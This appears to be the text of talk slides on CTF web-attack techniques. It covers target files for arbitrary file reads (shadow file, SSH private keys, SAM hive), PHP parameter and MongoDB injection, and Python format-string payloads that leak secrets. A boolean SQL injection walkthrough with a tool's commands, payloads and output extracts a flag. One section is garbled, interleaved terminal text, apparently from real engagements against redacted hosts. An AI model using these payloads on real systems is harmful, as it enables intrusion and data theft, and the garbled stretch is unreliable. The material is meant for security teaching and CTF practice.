From Input to Injection

Practical Lessons from HKIRC CTF

@TrebledJ • 2024 Aug. 14

1 — Interesting Techniques

2 – Boolean SQLi: PoC to Flag in 5 Minutes

1.1 — Arbitrary File Reads with /proc/**

Where do we usually look when we have an arbitrary file read? (On Linux)


- /etc/passwd , /etc/shadow users, hashes
- /home/<user>/.ssh/authorized_keysSSH public keys, algos
- /home/<user>/issh/id_* SSH private keys
- /proc/<pid>/cmdline commands!!! + file structure!!!
- /proc/<pid>/environ env when process started
- /proc/<pid>/cwd cwd when process started

? Choose an attack type

Attack type: Sniper

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.



What about Windows?

Files:

```
C:\inetpub\web.config
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Users\<username>\ntuser.dat # registry hive
```

What about command line info?

```
# PowerShell
Get-WmiObject -Class Win32_Process | Select-Object CommandLine
# cmd.exe
wmic process get CommandLine
```

But not a file.:(



1.2 — PHP Parameter Tampering

login.php (simplified):

```
$username = $_GET['username']
$password = $_GET['password']
$userinfo = ... // (optional) user controllered input

$userinfo["id"] = ...
$userinfo["username"] = $username;
$userinfo["password"] = $password;
$_SESSION["userinfo"] = $userinfo;
```

Normal usage:

```
POST /login.php HTTP/1.1
...
username=darklab&password=123456
```

\$userinfo

- Originally array(), but can tamper to be string.
- This means ["..."] becomes [0].

Data Type Tampering:

```
POST /login.php HTTP/1.1
...
username=darklab&password=123456&userinfo=abc
```

```
$userinfo = "abc"
$userinfo["id"] = "123" // $userinfo[0] = '1'
$userinfo["username"] = "admin" // $userinfo[0] = 'a'
$userinfo["password"] = "password" // $userinfo[0] = 'p'
$_SESSION["userinfo"] = $userinfo;
```

CVEs?

Couldn't find.



```
POST /login.php HTTP/1.1
...
user=joe&password=123456
```

```
=> $_POST = array( [user]="joe", [password]="123456" )
```

```
POST /search.php HTTP/1.1

user[$ne]=joe&password=123456
```

```
=> $_POST = array( [username]=array([$ne]="joe"), [password]="123456" )
```

Potential MongoDB Injection!

Also check out PHP Type Juggling.

1.3 — Python Format String Injection

DEMO \o/

Ultra Simplified Example:

```
PASSWORD = 'password_5910f7f523'

class Car:
    def __init__(self, make, year, color):
        self.make, self.year, self.color = make, year, color

def __str__(self):
    return f'Car(make={self.make}, year={self.year}, color={self.color})'

print(input().format(Car("Toyota", 2020, "Blue")))
# {0.__init__._globals__[PASSWORD]}
```

- Info disclosure!
- () function call doesn't work. No RCE :(

But what if the variable is in a different file?

No problem!

- 1. Get loader (importer).
- 2. Get module.
- 3. Get global symbol.

```
health > HealthyBMI >  settings.py > ...

21
22  # SECURITY WARNING: keep the secre
23  SECRET_KEY = 'django-insecure-40lz
24  SESSION_ENGINE = 'django.contrib.s
25  FLAG='flag{test}'
26
```

Real Problems, Real Vulns

Various Python format-string CVEs:

- CVE-2014-6262 rrdtool (bandwidth/temp/CPU load collector) → RCE, DoS
- CVE-2022-27177 ConsoleMe (AWS IAM permissions and credential management) → Info Disc, RCE(?)
- CVE-2023-41050 RestrictedPython (Python jail)
 - Frappe Framework server script → jail escape → Info Disc, RCE(?)

```
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.\
    .f_back.f_back.f_back.f_back.f_back.\
    .f_globals[frappe].local.conf}
```

1 — Interesting Techniques


2 — Boolean SQLi: PoC to Flag in 5 Minutes

My Secret Sauce — bsqli.py

- Used in OSCP + Multiple Engagements
- Employs similar tricks used by SQLmap, but urges the user to take more control
- Prettier interface (IMHO): CLI, multiprocessing
- https://github.com/TrebledJ/bsqli.py

Demo Walkthrough

Basic PoC



PoC with Script: Get DB Version

```
(base) √ hkirc-2024/sql % python bsqli.py -u http://eci-2zed43f7ub5qcu0erykc.cloudeci1.ichunqiu.com/log
in.php -X POST --data 'username=abc&password={payload}' --payload $'\'OR({cond})OR\'1\'=\'2' -bttc Welc
ome --dbms MySQL -t 32
sqli> v
(+) retrieving version...
10.5.23-MariaDB-0+deb11u1
Queries finished in 7.2s
```

Get Table Names (starting with f)

```
sqli> SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_NAME/**/LIKE/**/'f%'
(+) retrieving information...

FILES, func, file_instances, file_summary_by_event_name, file_summary_by_instance, flag
Queries finished in 13.0s
```

Get DB Name

```
sqli> SELECT/**/GROUP_CONCAT(TABLE_SCHEMA)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_NAME/**/LIKE/**/'flag' (+) retrieving information...

flagg
Queries finished in 8.0s
```

Get Columns. (SELECT * won't work bc subqueries expect one column.)

```
sqli> SELECT/**/GROUP_CONCAT(COLUMN_NAME)FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME='flag'
(+) retrieving information...

id,flaggg_1s_here
Queries finished in 9.8s
```

Now that we know the db, table, and column, we can select - from it.

```
sqli> SELECT/**/flaggg_1s_here/**/FROM/**/flagg.flag
(+) retrieving information...

flag{40bee60a-b8c7-4c99-8400-199d2f298e0e}
Queries finished in 8.2s
```

GG!

```
sali> v
aaversion
Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
       Dec 17 2002 14:22:05
       Copyright (c) 1988-2003 Microsoft Corporation
       Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Oueries finished in 56.6s
                              -(kali®kali)-[~/Desktop/sectools/web]
sqli> d
                             s python sqli.py -u 'https://www.
                                                                              .com/
db_name()
                                                                                  %26searchText={payloa
                            d}'c==payload $'%\' AND {cond} AND \'NFhD%\'=\'NFhD' -X GET -bttm 404 --dbms
                             SQLServer
                            sali> v
Queries finished in 18.0s
                            (+) retrieving version...
sqli> h
host_name()
                            Microsoft SQL Server 2016 (RTM) - 13.0.1601.5 (X64)
                                    Apr 29 2016 23:23:58
AWS P01
                                    Copyright (c) Micro?oft Corporation
Oueries finished in 17.5s
                                    Standard E?ition (64-bit) o? Windows Server 2016 Standard 6.3 <X64> (Build 14393: )
sali> s
กิดservername
                            Oueries finished in 91.4s
                                sgli> select banner from v$version where rownum=1
Oueries finished in 17.9s
sqli> u
                                (+) retrieving information...
current_user
                                 Oracle Database 19c Enterp?ise Edition Release 19.0.0.0.0 - Production
                                 Queries finished in 1204.4s
                                sqli>
                                sqli>
Oueries finished in 19.1s
```

Why go deeper?

- Explore Attack Chain discover creds, users, PII, etc.
- Client may not understand risk from "version poc".
 - "Ok. So we're using MySQL 8.33. Big deal." Oblivious Person
- Understand their systems design.
 - Multiple apps using the same DB is a risk.
 - UAT and prod using the same DB is a risk.

Takeaways

- Speed matters.
- Enumerate both widely and deeply.
- If you repeat something *a lot*, consider automating it. You never know when it may come in handy. :)
 - Downside: (probably) no BD hours.

Resources

Techniques

- Linux File System /proc
- PHP Parameter Tampering and Request Injection
- HackTricks Python Read Gadgets Python Format String

bsqli.py

- bsqli.py Script
- Blog Post on SQL + Automation Tricks and Tips



Slides are available at: https://trebledj.me/slides/

Hope you enjoyed!